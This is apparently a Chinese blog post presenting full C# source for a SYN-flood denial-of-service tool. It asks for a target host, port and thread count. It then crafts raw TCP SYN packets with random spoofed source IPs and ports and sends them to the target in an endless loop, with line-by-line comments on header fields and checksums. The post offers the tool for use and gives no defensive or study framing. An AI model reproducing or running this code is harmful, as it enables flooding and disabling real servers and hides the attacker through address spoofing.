C# DDOS 攻击工 代码

 看看怎么做的ip

  1. using System;
  2. using System.Net;
  3. using System.Net.Sockets;
  4. using System.Threading;
  5. //需要的命名空间不用解释了吧 
  6. namespace syn
  7. {
  8.     public struct ipHeader
  9.     {
  10.         public byte ip_verlen; //4位首部长度+4位IP版本号 
  11.         public byte ip_tos; //8位服务类型TOS 
  12.         public ushort ip_totallength; //16位数据包总长度(字节) 
  13.         public ushort ip_id; //16位标识 
  14.         public ushort ip_offset; //3位标志位 
  15.         public byte ip_ttl; //8位生存时间 TTL 
  16.         public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.) 
  17.         public ushort ip_checksum; //16位IP首部校验和 
  18.         public uint ip_srcaddr; //32位源IP地址 
  19.         public uint ip_destaddr; //32位目的IP地址 
  20.     }
  21.     public struct psdHeader
  22.     {
  23.         public uint saddr;  //源地址 
  24.         public uint daddr;  //目的地址 
  25.         public byte mbz;
  26.         public byte ptcl;     //协议类型 
  27.         public ushort tcpl;  //TCP长度 
  28.     }
  29.     public struct tcpHeader
  30.     {
  31.         public ushort th_sport;    //16位源端口 
  32.         public ushort th_dport;    //16位目的端口 
  33.         public int th_seq;   //32位序列号 
  34.         public uint th_ack;   //32位确认号 
  35.         public byte th_lenres;  //4位首部长度/6位保留字 
  36.         public byte th_flag;   //6位标志位 
  37.         public ushort th_win;     //16位窗口大小 
  38.         public ushort th_sum;     //16位校验和 
  39.         public ushort th_urp;     //16位紧急数据偏移量 
  40.     }
  41.     //这3个是ip首部tcp伪首部tcp首部的定义。 
  42.     public class syn
  43.     {
  44.         private uint ip;
  45.         private ushort port;
  46.         private EndPoint ep;
  47.         private Random rand;
  48.         private Socket sock;
  49.         private ipHeader iph;
  50.         private psdHeader psh;
  51.         private tcpHeader tch;
  52.         public UInt16 checksum(UInt16[] buffer, int size)
  53.         {
  54.             Int32 cksum = 0;
  55.             int counter;
  56.             counter = 0;
  57.             while (size > 0)
  58.             {
  59.                 UInt16 val = buffer[counter];
  60.                 cksum += Convert.ToInt32(buffer[counter]);
  61.                 counter += 1;
  62.                 size -= 1;
  63.             }
  64.             cksum = (cksum >> 16) + (cksum & 0xffff);
  65.             cksum += (cksum >> 16);
  66.             return (UInt16)(~cksum);
  67.         }
  68.         //这个使用来计算校验码的我照抄c#实现ping那文章的方法,反正ip协议计算校验码方法都一样 
  69.         public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand)
  70.         {
  71.             ip = _ip;
  72.             port = _port;
  73.             ep = _ep;
  74.             rand = _rand;
  75.             ipHeader iph = new ipHeader();
  76.             psh = new psdHeader();
  77.             tch = new tcpHeader();
  78.             sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
  79.             sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);
  80.             //这2个挺重要,必须这样才可以自己提供ip头 
  81.         }
  82.         //传参数的多线程需要用到代构造函数的对象。 
  83.         static void Main(string[] args)
  84.         {
  85.             Console.WriteLine("1、输入攻击ip或域名");
  86.             try
  87.             {
  88.                 IPHostEntry pe = Dns.GetHostByName(Console.ReadLine());
  89.                 uint ip = Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序 
  90.                 Console.WriteLine("2、输入攻击端口");
  91.                 ushort port = ushort.Parse(Console.ReadLine());
  92.                 IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port);
  93.                 byte[] bt = BitConverter.GetBytes(port);
  94.                 Array.Reverse(bt);
  95.                 port = BitConverter.ToUInt16(bt, 0);
  96.                 //要攻击的端口也得转为网络字节序,必须是16位0-65535,如果用hosttonetworkorder就转成32位的了,无奈这样 
  97.                 Console.WriteLine("3、输入攻击线程,最多50个");
  98.                 int xiancheng = Int32.Parse(Console.ReadLine());
  99.                 if (xiancheng < 1 || xiancheng > 50)
  100.                 {
  101.                     Console.WriteLine("必须在1到50之间");
  102.                     return;
  103.                 }
  104.                 Random rand = new Random();
  105.                 Thread[] t = new Thread[xiancheng];
  106.                 syn[] sy = new syn[xiancheng];
  107.                 for (int i = 0; i < xiancheng; i++)
  108.                 {
  109.                     sy[i] = new syn(ip, port, ep, rand);
  110.                     t[i] = new Thread(new ThreadStart(sy[i].synFS));
  111.                     t[i].Start();
  112.                 }
  113.                 //一个线程对应一个对象,不知多个线程对应同一个对象行不行,请指点。基础不行啊 
  114.             }
  115.             catch
  116.             {
  117.                 Console.WriteLine("有错误,请检查是不是连在网上,或者输入是否都正确");
  118.                 return;
  119.             }
  120.         }
  121.         unsafe public void synFS()
  122.         {
  123.             iph.ip_verlen = (byte)(4 << 4 | sizeof(ipHeader) / sizeof(uint));
  124.             //ipv4,20字节ip头,这个固定就是69 
  125.             iph.ip_tos = 0;
  126.             //这个0就行了 
  127.             iph.ip_totallength = 0x2800;
  128.             //这个是ip头+tcp头总长,40是最小长度,不带tcp option,应该是0028但是还是网络字节序所以倒过来成了2800 
  129.             iph.ip_id = 0x9B18;
  130.             //这个我是拦截ie发送。直接添上来了 
  131.             iph.ip_offset = 0x40;
  132.             //这个也是拦截ie的 
  133.             iph.ip_ttl = 128;
  134.             //也是拦截ie的,也可以是128什么的。 
  135.             iph.ip_protocol = 6;
  136.             //6就是tcp协议 
  137.             iph.ip_checksum = UInt16.Parse("0");
  138.             //没计算之前都写0 
  139.             
  140.             iph.ip_destaddr = ip;
  141.             //ip头的目标地址就是要攻击的地址,上面传过来的。 
  142.             psh.daddr = iph.ip_destaddr;
  143.             //伪tcp首部用于校验的,上面是目的地址,和ip的那个一样。 
  144.             psh.mbz = 0;
  145.             //这个据说0就行 
  146.             psh.ptcl = 6;
  147.             //6是tcp协议 
  148.             psh.tcpl = 0x1400;
  149.             //tcp首部的大小,20字节,应该是0014,还是字节序原因成了1400 
  150.             tch.th_dport = port;
  151.             //攻击端口号,上面传过来的 
  152.             tch.th_ack = 0;
  153.             //第一次发送所以没有服务器返回的序列号,为0 
  154.             tch.th_lenres = (byte)((sizeof(tcpHeader) / 4 << 4 | 0));
  155.             //tcp长度 
  156.             tch.th_flag = 2;
  157.             //2就是syn 
  158.             tch.th_win = ushort.Parse("16614");
  159.             //拦截ie的 
  160.             tch.th_sum = UInt16.Parse("0");
  161.             //没计算之前都为0 
  162.             tch.th_urp = UInt16.Parse("0");
  163.             //这个连ip都是0,新的攻击方法有改这个值的 
  164.             while (true)
  165.             {
  166.                // iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse("61.191.232.232").Address);
  167.                 iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255)).Address);
  168.                 psh.saddr = iph.ip_srcaddr;
  169.                 ushort duankou = Convert.ToUInt16(rand.Next(1, 65535));
  170.                 byte[] bt = BitConverter.GetBytes(duankou);
  171.                 Array.Reverse(bt);
  172.                 tch.th_sport = BitConverter.ToUInt16(bt, 0);
  173.                 tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646));
  174.                 //上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序 
  175.                 iph.ip_checksum = 0;
  176.                 tch.th_sum = 0;
  177.                 //因为循环中,所以每次必须把这2个已有数的清0才可计算 
  178.                 byte[] psh_buf = new byte[sizeof(psdHeader)];
  179.                 Int32 index = 0;
  180.                 index = pshto(psh, psh_buf, sizeof(psdHeader));
  181.                 if (index == -1)
  182.                 {
  183.                     Console.WriteLine("构造tcp伪首部错误");
  184.                     return;
  185.                 }
  186.                 index = 0;
  187.                 byte[] tch_buf = new byte[sizeof(tcpHeader)];
  188.                 index = tchto(tch, tch_buf, sizeof(tcpHeader));
  189.                 if (index == -1)
  190.                 {
  191.                     Console.WriteLine("构造tcp首部错误1");
  192.                     return;
  193.                 }
  194.                 index = 0;
  195.                 byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)];
  196.                 Array.Copy(psh_buf, 0, tcphe, index, psh_buf.Length);
  197.                 index += psh_buf.Length;
  198.                 Array.Copy(tch_buf, 0, tcphe, index, tch_buf.Length);
  199.                 index += tch_buf.Length;
  200.                 tch.th_sum = chec(tcphe, index);
  201.                 index = 0;
  202.                 index = tchto(tch, tch_buf, sizeof(tcpHeader));
  203.                 if (index == -1)
  204.                 {
  205.                     Console.WriteLine("构造tcp首部错误2");
  206.                     return;
  207.                 }
  208.                 index = 0;
  209.                 byte[] ip_buf = new byte[sizeof(ipHeader)];
  210.                 index = ipto(iph, ip_buf, sizeof(ipHeader));
  211.                 if (index == -1)
  212.                 {
  213.                     Console.WriteLine("构造ip首部错误1");
  214.                     return;
  215.                 }
  216.                 index = 0;
  217.                 byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)];
  218.                 Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
  219.                 index += ip_buf.Length;
  220.                 Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
  221.                 index += tch_buf.Length;
  222.                 iph.ip_checksum = chec(iptcp, index);
  223.                 index = 0;
  224.                 index = ipto(iph, ip_buf, sizeof(tcpHeader));
  225.                 if (index == -1)
  226.                 {
  227.                     Console.WriteLine("构造ip首部错误2");
  228.                     return;
  229.                 }
  230.                 index = 0;
  231.                 Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
  232.                 index += ip_buf.Length;
  233.                 Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
  234.                 index += tch_buf.Length;
  235.                 if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader)))
  236.                 {
  237.                     Console.WriteLine("构造iptcp报文错误");
  238.                     return;
  239.                 }
  240.                 //上面这一大堆东西就是计算校验和的方法了,方法是 
  241.                 //1、建立一个字节数组,前面放tcp伪首部后面放tcp首部,然后计算,确定最终tcp部分的校验和 
  242.                 //2、把确定了校验和地tcp首部重新生成字节数组,这是就不加tcp伪首部了,所以工20字节 
  243.                 //3、建40字节字节数组,前面放ip首部,后面放tcp首部,校验,确定最终ip部分校验和 
  244.                 //4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中,就是要发送的buffer[]了,就是这么麻烦 
  245.                 try
  246.                 {
  247.                    
  248.                     sock.SendTo(iptcp, ep);
  249.                     Console.WriteLine("OK");
  250.                     //构造发送字节数组总是麻烦,发送就简单了,socket.sendto就可以了 
  251.                 }
  252.                 catch (Exception eb)
  253.                 {
  254.                 
  255.                    Console.WriteLine(eb.Message);
  256.                    
  257.                 }
  258.             }
  259.         }
  260.         public UInt16 chec(byte[] buffer, int size)
  261.         {
  262.             Double double_length = Convert.ToDouble(size);
  263.             Double dtemp = Math.Ceiling(double_length / 2);
  264.             int cksum_buffer_length = Convert.ToInt32(dtemp);
  265.             UInt16[] cksum_buffer = new UInt16[cksum_buffer_length];
  266.             int icmp_header_buffer_index = 0;
  267.             for (int i = 0; i < cksum_buffer_length; i++)
  268.             {
  269.                 cksum_buffer[i] =
  270.                  BitConverter.ToUInt16(buffer, icmp_header_buffer_index);
  271.                 icmp_header_buffer_index += 2;
  272.             }
  273.             UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);
  274.             return u_cksum;
  275.         }
  276.         //这个是计算校验,把那些类型不一样的全转为16位字节数组用的 
  277.         public Int32 ipto(ipHeader iph, byte[] Buffer, int size)
  278.         {
  279.             Int32 rtn = 0;
  280.             int index = 0;
  281.             byte[] b_verlen = new byte[1];
  282.             b_verlen[0] = iph.ip_verlen;
  283.             byte[] b_tos = new byte[1];
  284.             b_tos[0] = iph.ip_tos;
  285.             byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength);
  286.             byte[] b_id = BitConverter.GetBytes(iph.ip_id);
  287.             byte[] b_offset = BitConverter.GetBytes(iph.ip_offset);
  288.             byte[] b_ttl = new byte[1];
  289.             b_ttl[0] = iph.ip_ttl;
  290.             byte[] b_protol = new byte[1];
  291.             b_protol[0] = iph.ip_protocol;
  292.             byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum);
  293.             byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr);
  294.             byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr);
  295.             Array.Copy(b_verlen, 0, Buffer, index, b_verlen.Length);
  296.             index += b_verlen.Length;
  297.             Array.Copy(b_tos, 0, Buffer, index, b_tos.Length);
  298.             index += b_tos.Length;
  299.             Array.Copy(b_totallen, 0, Buffer, index, b_totallen.Length);
  300.             index += b_totallen.Length;
  301.             Array.Copy(b_id, 0, Buffer, index, b_id.Length);
  302.             index += b_id.Length;
  303.             Array.Copy(b_offset, 0, Buffer, index, b_offset.Length);
  304.             index += b_offset.Length;
  305.             Array.Copy(b_ttl, 0, Buffer, index, b_ttl.Length);
  306.             index += b_ttl.Length;
  307.             Array.Copy(b_protol, 0, Buffer, index, b_protol.Length);
  308.             index += b_protol.Length;
  309.             Array.Copy(b_checksum, 0, Buffer, index, b_checksum.Length);
  310.             index += b_checksum.Length;
  311.             Array.Copy(b_srcaddr, 0, Buffer, index, b_srcaddr.Length);
  312.             index += b_srcaddr.Length;
  313.             Array.Copy(b_destaddr, 0, Buffer, index, b_destaddr.Length);
  314.             index += b_destaddr.Length;
  315.             if (index != size/* sizeof(IcmpPacket)  */)
  316.             {
  317.                 rtn = -1;
  318.                 return rtn;
  319.             }
  320.             rtn = index;
  321.             return rtn;
  322.         }
  323.         //这个是把ip部分转为字节数组用的 
  324.         public Int32 pshto(psdHeader psh, byte[] buffer, int size)
  325.         {
  326.             Int32 rtn;
  327.             int index = 0;
  328.             byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr);
  329.             byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr);
  330.             byte[] b_psh_mbz = new byte[1];
  331.             b_psh_mbz[0] = psh.mbz;
  332.             byte[] b_psh_ptcl = new byte[1];
  333.             b_psh_ptcl[0] = psh.ptcl;
  334.             byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl);
  335.             Array.Copy(b_psh_saddr, 0, buffer, index, b_psh_saddr.Length);
  336.             index += b_psh_saddr.Length;
  337.             Array.Copy(b_psh_daddr, 0, buffer, index, b_psh_daddr.Length);
  338.             index += b_psh_daddr.Length;
  339.             Array.Copy(b_psh_mbz, 0, buffer, index, b_psh_mbz.Length);
  340.             index += b_psh_mbz.Length;
  341.             Array.Copy(b_psh_ptcl, 0, buffer, index, b_psh_ptcl.Length);
  342.             index += b_psh_ptcl.Length;
  343.             Array.Copy(b_psh_tcpl, 0, buffer, index, b_psh_tcpl.Length);
  344.             index += b_psh_tcpl.Length;
  345.             if (index != size)
  346.             {
  347.                 rtn = -1;
  348.                 return rtn;
  349.             }
  350.             else
  351.             {
  352.                 rtn = index;
  353.                 return rtn;
  354.             }
  355.         }
  356.         //这个是把tcp伪首部转为字节数组用的 
  357.         public Int32 tchto(tcpHeader tch, byte[] buffer, int size)
  358.         {
  359.             Int32 rtn;
  360.             int index = 0;
  361.             byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport);
  362.             byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport);
  363.             byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq);
  364.             byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack);
  365.             byte[] b_tch_lenres = new byte[1];
  366.             b_tch_lenres[0] = tch.th_lenres;
  367.             byte[] b_tch_flag = new byte[1];
  368.             b_tch_flag[0] = tch.th_flag;
  369.             byte[] b_tch_win = BitConverter.GetBytes(tch.th_win);
  370.             byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum);
  371.             byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp);
  372.             Array.Copy(b_tch_sport, 0, buffer, index, b_tch_sport.Length);
  373.             index += b_tch_sport.Length;
  374.             Array.Copy(b_tch_dport, 0, buffer, index, b_tch_dport.Length);
  375.             index += b_tch_dport.Length;
  376.             Array.Copy(b_tch_seq, 0, buffer, index, b_tch_seq.Length);
  377.             index += b_tch_seq.Length;
  378.             Array.Copy(b_tch_ack, 0, buffer, index, b_tch_ack.Length);
  379.             index += b_tch_ack.Length;
  380.             Array.Copy(b_tch_lenres, 0, buffer, index, b_tch_lenres.Length);
  381.             index += b_tch_lenres.Length;
  382.             Array.Copy(b_tch_flag, 0, buffer, index, b_tch_flag.Length);
  383.             index += b_tch_flag.Length;
  384.             Array.Copy(b_tch_win, 0, buffer, index, b_tch_win.Length);
  385.             index += b_tch_win.Length;
  386.             Array.Copy(b_tch_sum, 0, buffer, index, b_tch_sum.Length);
  387.             index += b_tch_sum.Length;
  388.             Array.Copy(b_tch_urp, 0, buffer, index, b_tch_urp.Length);
  389.             index += b_tch_urp.Length;
  390.             if (index != size)
  391.             {
  392.                 rtn = -1;
  393.                 return rtn;
  394.             }
  395.             else
  396.             {
  397.                 rtn = index;
  398.                 return rtn;
  399.             }
  400.         }
  401.         //这个是把tcp部分转为字节数组用的,因为这个要用到2次就不把这个和伪首部放一块了。 
  402.     }
  403. }
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值